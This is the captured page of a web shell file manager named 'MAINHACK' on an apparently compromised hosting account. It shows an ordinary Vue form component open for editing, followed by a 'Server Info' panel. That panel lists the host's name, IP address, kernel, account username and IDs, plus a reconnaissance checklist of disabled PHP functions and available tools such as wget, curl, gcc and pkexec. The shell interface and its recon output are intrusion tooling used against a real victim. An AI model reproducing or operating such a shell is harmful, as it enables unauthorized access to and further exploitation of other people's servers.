[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: UnitCreateComponent.vue
<template> <LoadingComponent :props="loading" /> <SmModalCreateComponent :props="addButton" /> <div id="modal" class="modal"> <div class="modal-dialog"> <div class="modal-header"> <h3 class="modal-title">{{ $t("menu.units") }}</h3> <button class="modal-close fa-solid fa-xmark text-xl text-slate-400 hover:text-red-500" @click="reset"></button> </div> <div class="modal-body"> <form @submit.prevent="save"> <div class="form-row"> <div class="form-col-12 sm:form-col-6"> <label for="name" class="db-field-title required"> {{ $t("label.name") }} </label> <input v-model="props.form.name" v-bind:class="errors.name ? 'invalid' : ''" type="text" id="name" class="db-field-control" /> <small class="db-field-alert" v-if="errors.name"> {{ errors.name[0] }} </small> </div> <div class="form-col-12 sm:form-col-6"> <label for="code" class="db-field-title required"> {{ $t("label.code") }} </label> <input v-model="props.form.code" v-bind:class="errors.code ? 'invalid' : ''" type="text" id="code" class="db-field-control" /> <small class="db-field-alert" v-if="errors.code"> {{ errors.code[0] }} </small> </div> <div class="form-col-12 sm:form-col-6"> <label class="db-field-title required" for="active">{{ $t("label.status") }}</label> <div class="db-field-radio-group"> <div class="db-field-radio"> <div class="custom-radio"> <input :value="enums.statusEnum.ACTIVE" v-model="props.form.status" id="active" type="radio" class="custom-radio-field" /> <span class="custom-radio-span"></span> </div> <label for="active" class="db-field-label">{{ $t("label.active") }}</label> </div> <div class="db-field-radio"> <div class="custom-radio"> <input :value="enums.statusEnum.INACTIVE" v-model="props.form.status" type="radio" id="inactive" class="custom-radio-field" /> <span class="custom-radio-span"></span> </div> <label for="inactive" class="db-field-label">{{ $t("label.inactive") }}</label> </div> </div> <small class="db-field-alert" v-if="errors.status"> {{ errors.status[0] }} </small> </div> <div class="form-col-12"> <div class="modal-btns"> <button type="button" class="modal-btn-outline modal-close" @click="reset"> <i class="lab lab-fill-close-circle"></i> <span>{{ $t("button.close") }}</span> </button> <button type="submit" class="db-btn py-2 text-white bg-primary"> <i class="lab lab-fill-save"></i> <span>{{ $t("button.save") }}</span> </button> </div> </div> </div> </form> </div> </div> </div> </template> <script> import SmModalCreateComponent from "../../components/buttons/SmModalCreateComponent"; import LoadingComponent from "../../components/LoadingComponent"; import alertService from "../../../../services/alertService"; import appService from "../../../../services/appService"; import statusEnum from "../../../../enums/modules/statusEnum"; export default { name: "UnitCreateComponent", components: { SmModalCreateComponent, LoadingComponent }, props: ["props"], data() { return { loading: { isActive: false, }, enums: { statusEnum: statusEnum, statusEnumArray: { [statusEnum.ACTIVE]: this.$t("label.active"), [statusEnum.INACTIVE]: this.$t("label.inactive"), }, }, errors: {}, }; }, computed: { addButton: function () { return {title: this.$t("button.add_unit")} } }, methods: { reset: function () { appService.modalHide(); this.$store.dispatch("unit/reset").then().catch(); this.errors = {}; this.$props.props.form = { name: "", code: "", status: statusEnum.ACTIVE, }; }, save: function () { try { const tempId = this.$store.getters["unit/temp"].temp_id; this.loading.isActive = true; this.$store.dispatch("unit/save", this.props).then((res) => { appService.modalHide(); this.loading.isActive = false; alertService.successFlip( tempId === null ? 0 : 1, this.$t("menu.units") ); this.props.form = { name: "", code: "", status: statusEnum.ACTIVE, }; this.errors = {}; }).catch((err) => { this.loading.isActive = false; this.errors = err.response.data.errors; }); } catch (err) { this.loading.isActive = false; alertService.error(err); } }, }, }; </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285